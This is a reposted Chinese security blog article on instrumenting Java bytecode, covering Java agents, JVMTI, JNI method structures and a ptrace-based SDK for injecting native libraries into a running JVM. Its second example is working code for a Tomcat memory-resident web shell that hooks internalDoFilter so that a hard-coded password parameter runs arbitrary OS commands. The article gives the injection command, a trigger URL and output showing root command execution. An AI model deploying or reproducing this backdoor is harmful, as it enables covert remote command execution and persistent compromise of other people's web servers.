Use ptrace to instrument java bytecode

admin 2022年9月25日18:20:08评论20 views字数 16163阅读53分52秒阅读模式

前言

Java原生提供了JVMTI(JVM Tool Interface)和Java Instrumentation API,是插桩、调试或控制程序执行等行为的官方接口。

Java Instrumentation API

也就是常说的Java agent。从Java SE 5开始,可以使用Java的Instrumentation接口来编写Agent。如果需要在目标JVM启动的同时加载Agent,可以选择实现下面的方法:

[1] public static void premain(String agentArgs, Instrumentation inst);
[2] public static void premain(String agentArgs);

JVM将首先寻找[1],如果没有发现[1],再寻找[2]。如果希望在目标JVM运行时加载Agent,则需要实现下面的方法:

[1] public static void agentmain(String agentArgs, Instrumentation inst);
[2] public static void agentmain(String agentArgs);

我们这里只讨论运行时加载的情况。Agent需要打包成一个jar包,在ManiFest属性中指定“Premain-Class”或者“Agent-Class”:

Premain-Class: class
Agent-Class: class

生成agent.jar之后,可以通过com.sun.tools.attach.VirtualMachine的loadAgent方法加载:

private void attachAgentToTargetJVM() throws Exception {
List<VirtualMachineDescriptor> virtualMachineDescriptors = VirtualMachine.list();
VirtualMachineDescriptor targetVM = null;
for (VirtualMachineDescriptor descriptor : virtualMachineDescriptors) {
if (descriptor.id().equals(configure.getPid())) {
targetVM = descriptor;
break;
}
}
if (targetVM == null) {
throw new IllegalArgumentException("could not find the target jvm by process id:" + configure.getPid());
}
VirtualMachine virtualMachine = null;
try {
virtualMachine = VirtualMachine.attach(targetVM);
virtualMachine.loadAgent("{agent}", "{params}");
} catch (Exception e) {
if (virtualMachine != null) {
virtualMachine.detach();
}
}
}

以上代码可以用反射实现,使用Java agent这种方式可以修改已有方法,java.lang.instrument.Instrumentation提供了如下方法:

public interface Instrumentation {
/**
* 加入一个转换器Transformer,之后的所有的类加载都会被Transformer拦截。
* ClassFileTransformer类是一个接口,使用时需要实现它,该类只有一个方法,该方法传递类的信息,返回值是转换后的类的字节码文件。
*/
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

/**
* 对JVM已经加载的类重新触发类加载。使用的就是上面注册的Transformer。
* 该方法可以修改方法体、常量池和属性值,但不能新增、删除、重命名属性或方法,也不能修改方法的签名
*/
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

/**
*此方法用于替换类的定义,而不引用现有的类文件字节,就像从源代码重新编译以进行修复和继续调试时所做的那样。
*在要转换现有类文件字节的地方(例如在字节码插装中),应该使用retransformClasses。
*该方法可以修改方法体、常量池和属性值,但不能新增、删除、重命名属性或方法,也不能修改方法的签名
*/
void redefineClasses(ClassDefinition... definitions)throws ClassNotFoundException, UnmodifiableClassException;

/**
* 获取一个对象的大小
*/
long getObjectSize(Object objectToSize);

/**
* 将一个jar加入到bootstrap classloader的 classpath里
*/
void appendToBootstrapClassLoaderSearch(JarFile jarfile);

/**
* 获取当前被JVM加载的所有类对象
*/
Class[] getAllLoadedClasses();
}

可以使用redefineClasses方法完成对类方法的修改,结合javassist可以说是非常方便:

public static void agentmain(String args, Instrumentation inst) throws Exception {
Class[] loadedClasses = inst.getAllLoadedClasses();
for (int i = 0; i < loadedClasses.length; ++i) {
Class clazz = loadedClasses[i];
if (clazz.getName().equals("com.huawei.xxxx")) {
try {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(clazz.getName());
ctClass.stopPruning(true);

// javaassist freezes methods if their bytecode is saved
// defrost so we can still make changes.
if (ctClass.isFrozen()) {
ctClass.defrost();
}

CtMethod method; // populate this from ctClass however you wish

method.insertBefore("{ System.out.println("Wheeeeee!"); }");
byte[] bytecode = ctClass.toBytecode();

ClassDefinition definition = new ClassDefinition(Class.forName(clazz.getName()), bytecode);
inst.redefineClasses(definition);
} catch (Exception var9) {
var9.printStackTrace();
}
}
}
}

以上代码实现在某个类的某个方法的入口处添加一语句 System.out.println("Wheeeeee!")。
JVM进程与启动agent attach的进程的用户ID必须相同,否则即使是root也不能attach其他用户JVM进程。Java agent的方式需要额外的一个agent jar文件,加载agent的过程可以用反射完成。

JVMTI

在Java SE 5以前,就支持通过C/C++语言实现JVMTI agent,上文讲的Java Instrumentation API的底层就是通过这种方式实现的。开发agent时,需要包含位于JDK include目录下的jvmti.h,这里面定义了使用JVMTI所用到的函数、事件、数据类型和常量,最后agent会被编译成一个动态库。若某个JVMTI代理需要动态attach,则需要导出具有如下原型的函数:

JNIEXPORT jint JNICALL Agent_OnAttach(JavaVM* vm, char *options, void *reserved)

相应的关闭函数

JNIEXPORT void JNICALL Agent_OnUnload(JavaVM *vm)

JVMTI的函数调用与JNI相似,可以通过一个接口指针来访问JVMTI的函数。JVMTI的接口指针称为环境指针(environment pointer),环境指针是指向执行环境的指针,其类型为jvmtiEnv*。执行环境包含了与当前JVMTI连接相关的额信息,其第一个值是指向函数表的指针,函数表是一个包含了JVMTI函数指针的数组,每个函数指针在函数表中按预定义的索引值排列。若使用C语言开发,则使用双向链表访问JVMTI函数,环境指针作为调用JVMTI函数的第一个参数传入,例如:

jvmtiEnv *jvmti;
...
jvmtiError err = (*jvmti)->GetLoadedClasses(jvmti, &class_count, &classes);

jvmtiEnv也同样提供了RedefineClasses函数,可以实现Java Instrumentation API同样的功能。

jvmtiError RedefineClasses(jint class_count,
const jvmtiClassDefinition* class_definitions) {
return functions->RedefineClasses(this, class_count, class_definitions);
}

而同时com.sun.tools.attach.VirtualMachine类也提供了对应的加载方法

public abstract void loadAgentLibrary(String agentLibrary,
String options)
throws AgentLoadException,
AgentInitializationException,
IOException
Loads an agent library.
A JVM TI client is called an agent. It is developed in a native language. A JVM TI agent is deployed in a platform specific manner but it is typically the platform equivalent of a dynamic library. This method causes the given agent library to be loaded into the target VM (if not already loaded). It then causes the target VM to invoke the Agent_OnAttach function as specified in the JVM Tools Interface specification. Note that the Agent_OnAttach function is invoked even if the agent library was loaded prior to invoking this method.

The agent library provided is the name of the agent library. It is interpreted in the target virtual machine in an implementation-dependent manner. Typically an implementation will expand the library name into an operating system specific file name. For example, on UNIX systems, the name foo might be expanded to libfoo.so, and located using the search path specified by the LD_LIBRARY_PATH environment variable.

If the Agent_OnAttach function in the agent library returns an error then an AgentInitializationException is thrown. The return value from the Agent_OnAttach can then be obtained by invoking the returnValue method on the exception.

Parameters:
agentLibrary - The name of the agent library.
options - The options to provide to the Agent_OnAttach function (can be null).
Throws:
AgentLoadException - If the agent library does not exist, or cannot be loaded for another reason.
AgentInitializationException - If the Agent_OnAttach function returns an error
IOException - If an I/O error occurs
NullPointerException - If agentLibrary is null.
See Also:
AgentInitializationException.returnValue()

总结起来,使用JVMTI底层的方式,需要编写提供一个额外的动态库文件(Java Instrumentation API是提供一个jar包),可以实现修改已存在代码。

关于JNI

上文大致介绍了官方提供的Java instrument方法,与我们今天要讲的主题'ptrace'表面看无关系,要想讲清楚,就不得不讲一下JNI。
JNI(Java Native Interface,Java本地接口)是一种编程框架,使得Java虚拟机中的Java程序可以调用本地代码,在安卓中应用非常广泛。在JNI框架,native方法一般在单独的.c或.cpp文件中实现。当JVM调用非static函数,就传递一个JNIEnv指针,一个jobject的this指针(如果是static函数则只传送一个JNIEnv指针),后面再跟上函数参数。一个JNI函数看起来类似这样:

JNIEXPORT void JNICALL Java_ClassName_MethodName
(JNIEnv *env, jobject obj)
{
/*Implement Native Method Here*/
}

env指向一个结构包含了到JVM的接口,包含了所有必须的函数与JVM交互、访问Java对象。例如,把本地数组转换为Java数组的JNI函数,把本地字符串转换为Java字符串的JNI函数,实例化对象,抛出异常等。Java程序可以做的任何事情都可以用JNIEnv做到,只是过程非常麻烦。比如调用System.out.println

// Get system class
jclass syscls = env->FindClass("java/lang/System");
// Lookup the "out" field
jfieldID fid = env->GetStaticFieldID(syscls, "out", "Ljava/io/PrintStream;");
jobject out = env->GetStaticObjectField(syscls, fid);
// Get PrintStream class
jclass pscls = env->FindClass("java/io/PrintStream");
// Lookup printLn(String)
jmethodID mid = env->GetMethodID(pscls, "println", "(Ljava/lang/String;)V");
// Invoke the method
jstring str = env->NewStringUTF( "you are hacked");
env->CallVoidMethod(out, mid, str);

在JNI本地代码中,实际获得了很多Java代码不具备的能力,如可以访问进程的任意内存空间、调用系统调用等。jmethodID是JNI中的方法指针类型,它指向JVM底层的方法对象。经过GDB调试和翻阅代码,它的实际结构JVMMethod如下:

struct MethodInternal
{
void * vtbl;
ConstMethod * _constMethod;
void * _method_data;
void * _method_counters;
int _access_flags;
int _vtable_index;
#ifdef CC_INTERP
int _result_index; // C++ interpreter needs for converting results to/from stack
#endif
unsigned short _method_size; // size of this object
unsigned char _intrinsic_id; // vmSymbols::intrinsic_id (0 == _none)
unsigned char _jfr_towrite : 1, // Flags
_caller_sensitive : 1,
_force_inline : 1,
_hidden : 1,
_dont_inline : 1,
: 3;

#ifndef PRODUCT
int _compiled_invocation_count; // Number of nmethod invocations so far (for perf. debugging)
#endif
// Entry point for calling both from and to the interpreter.
unsigned char * _i2i_entry; // All-args-on-stack calling convention
// Adapter blob (i2c/c2i) for this Method*. Set once when method is linked.
void* _adapter;
// Entry point for calling from compiled code, to compiled code if it exists
// or else the interpreter.
volatile unsigned char * _from_compiled_entry; // Cache of: _code ? _code->entry_point() : _adapter->c2i_entry()
// The entry point for calling both from and to compiled code is
// "_code->entry_point()". Because of tiered compilation and de-opt, this
// field can come and go. It can transition from NULL to not-null at any
// time (whenever a compile completes). It can transition from not-null to
// NULL only at safepoints (because of a de-opt).
void * volatile _code; // Points to the corresponding piece of native code
volatile unsigned char * _from_interpreted_entry; // Cache of _code ? _adapter->i2c_entry() : _i2i_entry
};

struct JVMMethod
{
MethodInternal * _method;
public:
void setMethodNative();
void * getMethod()const
{
return _method;
}
void clear_method_counters();
bool isMethodNative()const;
bool isMethodStatic()const;
int getMethodAccessFlags()const;
void print()const;
unsigned long native_function_addr()const;
void native_function_addr(unsigned long v);
unsigned long signature_handler_addr()const;
void signature_handler_addr(unsigned long v);
void set_size_of_parameters(u2 v);
int get_size_of_parameters()const;
};

因此我们可以把jmethodID类型强制转换为JVMMethod *,然后操作方法对象的任意数据,只要理清数据结构的关系,就可以完成方法的任意修改。在方法的hook实现上,参考frida、xposed在安卓上的实现:先将方法修饰符修改为native,再为该方法提供native的实现。JVMTI的方式在实现上存在限制,比如不能修改java.lang包下的类,而在native层直接修改内存的方式是毫无限制的。

use ptrace

现在离主题更近了一步,接下来要解决的问题:如何在ptrace执行时获得JNI环境的上下文。
JNI环境的上下文其实就是JNIEnv这个环境变量指针。jni.h中提供了JNI_GetCreatedJavaVMs,可以获取已经创建的JavaVM实例对象:

_JNI_IMPORT_OR_EXPORT_ jint JNICALL JNI_GetCreatedJavaVMs(JavaVM **, jsize, jsize *);

该方法在libjvm.so作为导出函数,可以通过搜索内存的方式得到。拿到JavaVM实例之后,就可以通过getEnv函数分别获得JNIEnv和jvmtiEnv指针:

int result = vm->GetEnv((void **)&_jni_env, JNI_VERSION_1_8);
if(result != JNI_OK)
{
result = vm->AttachCurrentThread((void **)&_jni_env, NULL);
if(result != JNI_OK)
{
printf("AttachCurrentThread = %dn", result);
return;
}
}

result = vm->GetEnv((void **)&_jvmti_env, JVMTI_VERSION_1_2);
if(result != JNI_OK)
{
printf("GetEnv JVMTI_VERSION_1_2 = %dn", result);
return;
}

至此,使用ptrace不仅可以修改任意方法,还可以使用官方提供的JVMTI接口,可谓无所不能。

taycan-sdk

此项目将以上内容进行封装,实现native层修改java层(JVM),使用JVMTI及JNI API可以修改java任意类、执行任意代码,完成hook、插入内存马、反射等功能。项目地址:

https://github.com/bigBestWay/taycan-sdk

使用环境

LINUX KERNEL version > 3.2 GLIBC > 2.15 openJDK/OracleJDK 1.8 64bit

使用方法

开发语言需要使用C++,源码文件中需要包含sdk include文件夹中java_native_base.h和jvm_method.h,并且要链接lib文件夹下的libtaycan.a。开发步骤如下:

  1. 定义一个类A继承JavaNativeBase

  2. 在类A的构造函数中,使用JNI/JVMTI的API查找java类、方法、执行反射等

  3. 如果要hook方法,先定义好替换函数,比如hook_xxx

  4. 调用hookJvmMethod,替换方法

  5. 静态实例化A

之后编译生成动态链接库文件,可以使用java System.load方法调用执行,也可以使用soloader通过ptrace方式注入执行。

示例1:hook java非native函数

如下TestJni.circle方法定时在屏幕打印haha

class TestJni{
private void circle(){
System.out.println("haha");
}

public static void main(String[] args) throws InterruptedException{
TestJni a = new TestJni();
while(true){
a.circle();
Thread.sleep(2000);
}
}
}

写如下代码,将TestJni.circle hook掉,在hook函数中调用System.out.println(""you are hacked"")

#include "include/java_native_base.h"
#include "include/jvm_method.h"
#include "jni.h"

class example : JavaNativeBase
{
public:
example(/* args */);
~example(){};
};

static example _e;

JNIEXPORT void JNICALL hook_circle(JNIEnv* env, jobject thiz)
{
// Get system class
jclass syscls = env->FindClass("java/lang/System");
// Lookup the "out" field
jfieldID fid = env->GetStaticFieldID(syscls, "out", "Ljava/io/PrintStream;");
jobject out = env->GetStaticObjectField(syscls, fid);
// Get PrintStream class
jclass pscls = env->FindClass("java/io/PrintStream");
// Lookup printLn(String)
jmethodID mid = env->GetMethodID(pscls, "println", "(Ljava/lang/String;)V");
// Invoke the method
jstring str = env->NewStringUTF( "you are hacked");
env->CallVoidMethod(out, mid, str);
}

example::example(/* args */)
{
JNIEnv * env = getEnv();
if(env == NULL)
{
return;
}

jclass clazz = env->FindClass("TestJni");
if(clazz == NULL){
printf("FindClass errorn");
return;
}

jmethodID method_circle = env->GetMethodID(clazz, "circle", "()V");
if(method_circle == NULL){
printf("GetMethodID circle errorn");
return;
}

JVMMethod * method_stub = (JVMMethod *)method_circle;
method_stub->print();
hookJvmMethod(method_stub, (unsigned long)hook_circle);
}

编译生成so之后,使用soloader对JVM进程注入so

Usage:
./soloader <jvmpid> <sopath> [is_unload]

soloader 77339 /root/taycan/example/libmy.so

参数分别为PID、so全路径。可以提供第4个参数,如果为1,表示so在注入运行之后立即就卸载。

示例2: 注入tomcat内存马

tomcat注入内存马,采用的办法是hook函数internalDoFilter

org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse) : void

以下代码在tomcat8上测试通过

void example::inject_mem_shell()
{
JNIEnv * env = getJNIEnv();
if(env == NULL)
{
return;
}

jvmtiEnv * jvmti_env = getJVMTIEnv();
if(jvmti_env == NULL)
{
return;
}

//printf("JVMTI ENV %pn", jvmti_env);
_applicationFilterChain_clazz = this->jvmti_find_class("org.apache.catalina.core.ApplicationFilterChain");
if(_applicationFilterChain_clazz == NULL){
printf("FindClass org.apache.catalina.core.ApplicationFilterChain errorn");
return;
}

_servlet_clazz = this->jvmti_find_class("javax.servlet.Servlet");
if(_servlet_clazz == NULL){
printf("FindClass javax.servlet.Servlet errorn");
return;
}

const char * internalDoFilter_signature = "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V";
jmethodID internalDoFilter = env->GetMethodID(_applicationFilterChain_clazz, "internalDoFilter", internalDoFilter_signature);
if(internalDoFilter == NULL){
printf("jvmti_get_method internalDoFilter errorn");
return;
}

JVMMethod * method = (JVMMethod *)internalDoFilter;
//method->print();
hookJvmMethod(method,(unsigned long)hook_internalFilter);
}

hook掉internalDoFilter方法,在前面加入内存马逻辑,之后正常调用this.servlet.service(req, rsp)保证页面的正常加载。
方法原型为void internalDoFilter(javax.servlet.ServletRequest, javax.servlet.ServletResponse),对应的JNI表示参数要增加JNIEnv *和this指针

JNIEXPORT void JNICALL hook_internalFilter(JNIEnv * env, jobject thiz, jobject req, jobject rsp)
{
jobject model = req_get_paramter(env, req, "model");
jobject pass_the_world = req_get_paramter(env, req, "pass_the_world");

if(pass_the_world != NULL && string_equals(env, pass_the_world, "bigbestway"))
{
std::string result;
if(model == NULL || string_equals(env, model, ""))
{
result = Memshell::help();
}
else if(string_equals(env, model, "exec"))
{
jobject cmd = req_get_paramter(env, req, "cmd");
if(cmd == NULL)
{
result = Memshell::help();
}
else
{
result = Memshell::exec(string_getchars(env, (jstring)cmd).c_str());
}
}
rsp_print(env, rsp, result.c_str());
return;
}

//调用this.servlet.service(req, rsp);
DPRINT("hook_internalFilter req=%p, rsp=%pn", req, rsp);
jfieldID fid = env->GetFieldID(_applicationFilterChain_clazz, "servlet", "Ljavax/servlet/Servlet;");
DPRINT("fid=%pn", fid);
if(fid == NULL)
return;
jobject servlet = env->GetObjectField(thiz, fid);
DPRINT("servlet=%pn", servlet);
if(servlet == NULL)
return;
jmethodID mid = env->GetMethodID(_servlet_clazz, "service", "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V");
DPRINT("mid=%pn", mid);
if(mid == NULL)
return;
env->CallVoidMethod(servlet, mid, req, rsp);
}

下载apache-tomcat-8.5.69并解压到目录

/root/apache-tomcat-8.5.69

进入bin目录,在当前窗口启动tomcat

./catalina.sh run

通过浏览器访问8080端口,因为类是懒加载,需要访问一下才会加载org.apache.catalina.core.ApplicationFilterChain,否则hook时查找类会失败。通过ps命令获得JVM进程ID,执行命令注入shell

~/taycan/taycan-sdk# ./soloader 47706 `pwd`/libmy.so

执行成功会打印

this=0x7fc1a463d380,_constMethod=0x7fc1a463d060,_method_data=(nil),_method_counters=0x7fc1a4647118,_adapter=0x7fc1cc07b630,_from_compiled_entry=0x7fc1bd04e5b8,_code=(nil),_access_flags=2,_vtable_index=-2,_method_size=11,_intrinsic_id=0,_jfr_towrite=0,_caller_sensitive=0,_force_inline=0,_hidden=0,_dont_inline=0,_compiled_invocation_count=0,_i2i_entry=0x7fc1bd013600,_from_interpreted_entry=0x7fc1bd013600
_constMethod:
_fingerprint=8000000000000000,_constants=0x7fc1a463c338,_stackmap_data=0x7fc1a463d3d8,_constMethod_size=100,_flags=15,_code_size=14,_name_index=388,_signature_index=118,_method_idnum=100,_max_stack=5,_max_locals=5,_size_of_parameters=10
==================================
this=0x7fc1a463d380,_constMethod=0x7fc1a463d060,_method_data=(nil),_method_counters=(nil),_adapter=0x7fc1cc07b630,_from_compiled_entry=0x7fc1bd04e5b8,_code=(nil),_access_flags=e000102,_vtable_index=-2,_method_size=11,_intrinsic_id=0,_jfr_towrite=0,_caller_sensitive=0,_force_inline=0,_hidden=0,_dont_inline=0,_compiled_invocation_count=0,_i2i_entry=0x7fc1bd018340,_from_interpreted_entry=0x7fc1bd018340
_constMethod:
_fingerprint=8000000000000000,_constants=0x7fc1a463c338,_stackmap_data=(nil),_constMethod_size=100,_flags=15,_code_size=14,_name_index=388,_signature_index=118,_method_idnum=100,_max_stack=5,_max_locals=5,_size_of_parameters=10

使用URL访问内存马执行命令

http://192.168.92.128:8080/?pass_the_world=bigbestway&model=exec&cmd=id

页面显示命令结果

uid=0(root) gid=0(root) groups=0(root)

结语

我在探索JVM中Java Method结构的过程中,偶然发现frida在2020年的新版本中开始支持hook openSDK(一直以为不支持),taycan借鉴了frida 14的代码。frida能够hook成功的前提是libjvm.so文件需要有调试符号即该so没有经过strip。对于这点,本项目进行了改进,无论是否有符号都能hook成功。

来源先知(https://xz.aliyun.com/t/10311#toc-9)

注:如有侵权请联系删除



Use ptrace to instrument java bytecode

欢迎大家一起加群讨论学习和交流

Use ptrace to instrument java bytecode

学如逆水行,不进则退


原文始发于微信公众号(衡阳信安):Use ptrace to instrument java bytecode

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月25日18:20:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Use ptrace to instrument java bytecodehttps://cn-sec.com/archives/1314026.html

发表评论

匿名网友 填写信息